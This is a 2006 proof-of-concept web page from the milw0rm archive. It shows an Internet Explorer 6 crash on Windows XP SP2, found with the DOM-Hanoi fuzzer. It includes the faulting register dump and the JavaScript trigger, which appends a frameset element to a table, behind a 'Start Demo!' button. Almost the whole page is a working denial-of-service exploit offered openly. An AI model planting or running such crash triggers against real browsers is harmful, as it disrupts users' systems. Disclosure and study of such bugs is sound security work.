<!-- http://browserfun.blogspot.com/ The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of every combination of elements up to the specifed depth. An alternate PoC could use plain HTML instead of javascript. var a = document.createElement('table'); var b = document.createElement('frameset'); a.appendChild(b); eax=00000000 ebx=01884710 ecx=01886c60 edx=00000027 esi=0013aeb0 edi=01884730 eip=7dc995ad esp=0013ae88 ebp=0013ae9c6 mshtml!CTreePos::NextTreePos+0x23: 7dc995ad f60010 test byte ptr [eax],0x10 ds:0023:00000000=?? --> <html><body><script> // MoBB Demonstration function Demo() { var a = document.createElement('table'); var b = document.createElement('frameset'); a.appendChild(b); } </script> Clicking the button below may crash your browser!<br><br> <input type='button' onClick='Demo()' value='Start Demo!'> </body></html> # milw0rm.com [2006-07-07]